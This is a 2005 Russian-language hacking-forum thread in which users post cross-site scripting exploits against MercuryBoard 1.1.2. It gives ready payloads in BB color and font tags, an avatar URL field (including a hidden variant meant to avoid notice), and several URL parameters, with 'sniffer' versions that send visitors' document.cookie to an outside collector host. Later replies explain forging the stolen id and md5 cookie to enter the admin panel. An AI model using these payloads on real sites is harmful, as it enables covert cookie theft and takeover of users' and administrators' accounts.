Еще парочка xss в MercuryBoard

Discussion in 'Уязвимости' started by PinkPanther, 10 Apr 2005.

  1. PinkPanther

    PinkPanther [ розовый мафиозо ]

    Joined:
    16 Mar 2005
    Messages:
    280
    Likes Received:
    75
    Reputations:
    85
    Несколько уязвимостей xss в форуме MercuryBoard
    (2 ПРИМИТИВНЕЙШИХ в bb тегах и 1 в аватарке)

    1 из них заключается в плохой защищенности bb тега color, что дает нам право внедрить в него xss иньекцию.
    Итак, вот сплойт:
    Для алерта:
    Code:
     [color=black;background:url(javascript:alert(document.cookie))]123[/color]
    И для сниффа:
    Code:
    [color=black;background:url(javascript:img.src=&#34http://antichat.ru/cgi-bin/s.jpg?&#34+document.cookie);]123[/color]
    2 уязвимость заключается в плохой защищенности bb тега font, что также дает возможность внедрить в его тело вредоносный код.
    Для алерта:
    Code:
    [font=courier;background:url(javascript:alert(document.cookie))]123[/font]
    И для сниффа:
    Code:
    [font=courier;background:url(javascript:img.src=&#34http://antichat.ru/cgi-bin/s.jpg?&#34+document.cookie)]123[/font]
    3 дыра самая интересная и самая матерая, это уязвимость в аватарке. Мы можем внедрить в адресс аватара свой сплойт, при этом со стороны это не будет никак выкупатся=), а сплойт тем временем будет собирать кукисы всех, кто будет читать ваши посты, или кто заглянет к вам в личный кабинет. При этом, при просмотре свойств аватара, пользователь не увидит ничего подозрительного, так как, в адресе будет указано http://smailiki.ru/smile/1.gif/ . Как видим, слеш в конце нам все поганит, это проявляется из-за экранирования знака (') ,бек слешем. Но с этим ничего не поделаешь, и хоть аватарка отображатся не будет, у обычных пользователей, да даже у админов, имхо это вызовет мало подозрений. Пускай думают что глюки.=)
    Чуть не забыл, вот и сплойт:
    Code:
    http://smailiki.ru/smile/1.gif'style=background:url(javascript:img.src=&#34http://antichat.ru/cgi-bin/s.jpg?&#34+document.cookie;);1.gif
    ну и как уже стало традицией, алерт:
    Code:
    http://smailiki.ru/smile/1.gif'style=background:url(javascript:alert(document.cookie));1.gif
     
  2. PinkPanther

    PinkPanther [ розовый мафиозо ]

    Joined:
    16 Mar 2005
    Messages:
    280
    Likes Received:
    75
    Reputations:
    85
    Уже когда все набрал, подумал, а зачем аватврка нам вообще нужна, сделаем её невидимой, как будто бы её вообще нету. И ход этот правильный, так как палива в данной ситуации ноль. Итак, вот сплойт:
    Code:
    'style=background:url(javascript:img.src=&#34http://antichat.ru/cgi-bin/s.jpg?&#34+document.cookie);display:none;1.gif
     
  3. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Укажи плиз версию MercuryBoard...
    И кроме того, если публикуете такие баги, то не мешало бы описать систему защиты форума в целом. Хранится ли пасс в куках, не используется ли двойное хеширование и т.п. Потому как эти XSS могут ничего и не давать.
     
  4. PinkPanther

    PinkPanther [ розовый мафиозо ]

    Joined:
    16 Mar 2005
    Messages:
    280
    Likes Received:
    75
    Reputations:
    85
    Я проганял это всё на форуме версии 1.1.2
    В куках хранятся только id пользователя и его md5 хеш, следует на сниффер мы получаем эти данные. Вот алерт как пример:

    [​IMG]
     
  5. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    пробовал ли на других форумах?
     
  6. KEZ

    KEZ Guest

    Reputations:
    0
    Помоему там все было найдено... Или я ошибаюсь
     
  7. PinkPanther

    PinkPanther [ розовый мафиозо ]

    Joined:
    16 Mar 2005
    Messages:
    280
    Likes Received:
    75
    Reputations:
    85
    Ну вот скрин к примеру: http://rts.h15.ru/mer1.png и http://rts.h15.ru/mer2.png
    ХЗ, когда нашел прежде всего проверил на секлабе, таких нет, а были бы найдены, полюбому были бы там, имхо.
     
  8. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Если не ошибаешься подскажи тогда для vBullentin'a и phpBB , вроде где-то читал что малую фильтрацию проходят и что можно "захватить"
    cp юзверя в phpbb или я уже запамятовал...
     
  9. PinkPanther

    PinkPanther [ розовый мафиозо ]

    Joined:
    16 Mar 2005
    Messages:
    280
    Likes Received:
    75
    Reputations:
    85
    Вот ещё одна xss`ска(в профиле):
    Code:
    [url="http://www.site.ru/mercutyboard/index.php?a=profile&w=<script>alert(document.cookie)</script>"]http://www.site.ru/mercutyboard/index.php?a=profile&w=<script>alert(document.cookie)</script> [/url]
    Интуиция подсказывает что это ещё не всё....
     
  10. KEZ

    KEZ Guest

    Reputations:
    0
    Да там ещё КСТАТИ почти ни один параметр не проверяется перед mysql_query
     
  11. KEZ

    KEZ Guest

    Reputations:
    0
    Нет, никакого двойного хеш. не используется.
    Все очень просто... md5 хеш и номер юзера в таблице
    Можно подделать куки и зайти в админку
     
  12. White Jordan

    White Jordan Guest

    Reputations:
    0
    2 Pink-Panther и KEZ,

    А вам IPB не интересно взламывать?
     
  13. KEZ

    KEZ Guest

    Reputations:
    0
    А там уже все взломано (в плане Xss)
     
  14. White Jordan

    White Jordan Guest

    Reputations:
    0
    А те баги которые Я нашол вы не смотрели?
     
  15. PinkPanther

    PinkPanther [ розовый мафиозо ]

    Joined:
    16 Mar 2005
    Messages:
    280
    Likes Received:
    75
    Reputations:
    85
    Вот ещё парочка:
    Code:
    http://site/mercuryboard/index.php?a=topic&t=[color=lime]"[/color][color=lime]><script>alert(document.cookie)</script>[/color] 
    Code:
    http://site/mercuryboard/index.php?a=cp&s=addsub&type=[color=lime]"><script>alert(document.cookie)</script>[/color]topic&item=3
    Оставляю только те, которых нет на секлабе.
     
    1 person likes this.
  16. White Jordan

    White Jordan Banned

    Joined:
    21 Apr 2005
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Если честно, то просто позорно в таких форумах находить баги. Равно сильно у ребёнка отнять конфетку. :rolleyes: